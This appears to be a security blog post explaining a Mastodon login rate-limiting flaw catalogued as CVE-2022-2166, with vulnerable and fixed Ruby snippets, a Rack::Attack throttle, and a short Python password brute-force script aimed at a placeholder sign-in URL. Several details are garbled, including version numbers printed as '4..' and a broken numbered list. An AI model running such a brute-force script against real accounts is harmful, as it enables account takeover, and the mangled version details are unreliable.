In June 2022, security researchers uncovered an important flaw in the popular open-source social network Mastodon. This vulnerability, now cataloged as CVE-2022-2166, relates to “Improper Restriction of Excessive Authentication Attempts” — which is a technical way to say Mastodon didn’t do enough to stop someone from trying an unlimited number of login attempts on user accounts.

This post will break down what the vulnerability was, why it matters, show you example code, and share how attackers could abuse it. By the end, you’ll know all about this risky bug and how to protect your Mastodon instance.

What Was the Vulnerability?

With any online service, you don’t want hackers trying hundreds or thousands of passwords when logging in to user accounts. Most applications respond to multiple failed logins with things like “rate limiting” (slow down repeated attempts), “account lockouts” (temporarily freeze the account), or “captcha” challenges.

But, up until version 4.., Mastodon did not properly restrict how quickly you could try logging in. That made brute-force attacks (automated tools guessing passwords until they get in) very easy.

Technical Summary

- Component: mastodon/mastodon (prior to 4..)

Impact: Unlimited authentication attempts could allow attackers to brute-force passwords

- CVE Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2166
- Official Patch: GitHub Commit 1

How Did the Bug Happen?

In Mastodon’s login controller, every failed password or username did not trigger any rate limiting. The application allowed endless login attempts with no increasing delay or challenge.

Here’s a pseudo-code example before the fix

def login
  user = User.find_by(email: params[:email])

  if user && user.authenticate(params[:password])
    session[:user_id] = user.id
    redirect_to dashboard_path
  else
    flash[:error] = "Invalid login"
    render :login
  end
end

Notice above:

Good authentication implementations protect by blocking or slowing excessive login attempts

RATE_LIMIT_WINDOW = 15.minutes
MAX_ATTEMPTS = 5

def login
  user = User.find_by(email: params[:email])
  if too_many_attempts?(user)
    flash[:error] = "Too many failed attempts. Try again later."
    render :login
    return
  end

  if user && user.authenticate(params[:password])
    reset_attempts(user)
    session[:user_id] = user.id
    redirect_to dashboard_path
  else
    increment_attempts(user)
    flash[:error] = "Invalid login"
    render :login
  end
end

This code would limit to 5 login attempts, then block logins for 15 minutes, making brute-forcing much harder.

Exploit Details: How Could Attackers Abuse This?

Anyone with a list of user emails (easy to find with Mastodon’s visibility settings, scraping, or from a previous breach) could launch a brute-force attack.

Here’s how an attack might have looked using a simple Python script and the requests library

import requests

TARGET_USER = "victim@example.com"
PASSWORD_LIST = ["password123", "123456", "letmein", "..."]

for password in PASSWORD_LIST:
    data = {"email": TARGET_USER, "password": password}
    resp = requests.post("https://mastodon.example.com/auth/sign_in";, data=data)
    if "dashboard" in resp.text:
        print(f"[!] Success! Password is: {password}")
        break
    else:
        print(f"[-] Failed: {password}")

Running this script would not slow down or block after failures. An attacker could try thousands of password guesses per minute, dramatically increasing the chance to compromise accounts — especially users with weak passwords.

How Mastodon Fixed CVE-2022-2166

Mastodon maintainers patched this bug in version 4.. by adding proper rate limiting for authentication endpoints. If you’re not patched, your system is still vulnerable.

Read the fix here:  
- https://github.com/mastodon/mastodon/pull/18605

The patch leverages Rack::Attack middleware to limit requests

# config/initializers/rack_attack.rb
Rack::Attack.throttle('logins/ip', limit: 5, period: 20.seconds) do |req|
  if req.path == '/auth/sign_in' && req.post?
    req.ip
  end
end

This means after 5 failures in 20 seconds from one IP, the server will slow or block further attempts.

Upgrade Mastodon to at least version 4.. (or newer).

2. Enable and configure rate limiting and lockout features (Rack::Attack setup guide).

References

- GitHub Security Advisory: GHSA-p53q-389f-gv38
- Mastodon PR 18605: Add rate limiting to sign in endpoint
- NVD - CVE-2022-2166

Final Thoughts

CVE-2022-2166 might look like a simple oversight, but it could have let attackers break into accounts on thousands of Mastodon servers if left unpatched. If you run Mastodon, always stay up to date, and review your authentication controls. Details like login rate limiting aren’t exciting — until you get hacked!


Exclusive Tip: Regularly check https://github.com/mastodon/mastodon/security/advisories and subscribe to security alerts to protect your social network for the long term.

Timeline

Published on: 11/16/2022 01:15:00 UTC
Last modified on: 11/17/2022 05:00:00 UTC